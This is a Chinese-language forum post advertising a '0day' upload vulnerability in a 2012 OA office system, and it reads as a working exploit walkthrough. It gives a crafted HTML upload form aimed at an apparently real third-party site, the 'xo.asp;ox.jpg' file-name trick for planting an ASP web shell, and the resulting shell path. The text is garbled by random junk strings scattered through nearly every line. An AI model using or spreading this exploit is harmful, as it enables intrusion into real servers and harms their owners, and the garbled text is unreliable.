全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
* \- J1 E1 K3 L: p" v; {3 V. ]​
系统介绍：

; x2 a" v! ]' \# d3 ^) O全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
; F- n. ], |! A: [+ ]6 J2 V5 T5 \
主要功能：
公司通告
工作计划
通讯助理
2 s" |) u" v) V6 y1 R客户资源
% \# X0 W9 \8 C  L# k我的公文
. t, h- Y( N4 n' V# B: I公文传阅
8 q' B* X' U& {* x: b- j公共资源
  ]- r2 y& k- z7 D2 E5 p2 D* v% k( N资源预约
! ~- y" L; g2 g- E0 {  ^今日考勤
个人计划
9 [2 h& j2 O* @- E个人通讯录
个人基本档案
未读邮件
  B. W% ^& |  C- a发邮件
3 z6 k+ n8 R0 F  l2 p收件夹
3 \0 A  K! q2 N2 J1 Z  ^寄件夹
) [9 q4 l. G0 M3 v  I网络硬盘
网络会议
! x: g! t5 b% A4 \, r' d网络调查
2 g8 f1 f$ W  s! E0 s; X交流论坛

; ]/ p5 ]; T- F有兴趣测试的朋友可以下源码看看

" C( e* F, o4 v/ j源码下载：
+ B/ W- J0 |' s% M
http://www.mycodes.net/30/4750.htm

漏洞介绍：

由upfile.asp上传文件漏洞引起
. ~$ Y/ i1 L0 x- U
, Q9 |( b1 L+ K$ Z3 t: x$ p8 j2 J测试方法：
4 c5 B) Z8 M3 y* H
6 T' ?) n, j1 F# K6 l7 o使用名小子上传http://www.itlynn.com/upfile.asp即可
. _2 y, ~+ o. A; b% }
如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。
  ?5 i! m" V4 L7 r; @
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
- W8 I. T& d# o2 `% l1 H' W( V; f
& v0 X5 f2 V9 E' d$ x

01 <table border='0' align="center" cellpadding="5">

4 f0 e5 S2 d7 j! T% Q. f; j02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
+ k: ^9 \& u8 d' j7 R; y/ @
03 <tr>
3 h) m: T( K& q
04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>

7 H" Q6 k% k, q5 k2 J7 v; F, }06               自动更名
! ~+ v0 P; e& s7 R: J, c
07               <input type='radio' name='errnumber' value='1' checked>
6 G2 I  j7 Y( J3 q
& F4 Q+ A. i# s4 K4 e& B$ P08               报错方式

6 v" r: d5 {& A# {( ~) x( L09               <input type='radio' name='errnumber' value='2'>

  O6 L* S5 U% m* Z9 \1 [2 X10               直接覆盖</td>
2 q. S% z. ^+ P
11           </tr>

' S+ j$ t5 i' _% j12           <tr>

13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

$ B- ~8 k0 o9 p' ?( g5 j16           <tr>
) v  b( C9 ~( Y
+ u- I! n( ^: a. v* [17             <td>文件：</td>

" C* T3 K4 H6 T" a  R( k18             <td><input type="file"name="fruit"size="30"></td>

" V1 A9 c/ L7 _4 n/ G# X19           </tr>
. \+ ]$ o. P9 Z1 b  D+ K4 t
20           <tr>
0 e+ t/ ~/ i" m% f* g# h0 [2 w6 A
21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
/ x  s* d  _% B* l0 Z
23           </tr>

24   
& m0 a  ~6 W" A3 r
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>
! L; K9 x! f5 s# n9 U( X, ^! ]
1 ]3 B6 F, P9 t1 G! H27         </form>

# G' U; m" z1 y/ |' h' ]* J- b4 {然后打开上传一个文件名为xo.asp;ox.jpg的文件。



上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。
4 m. C) j! n, U1 G+ X- P  z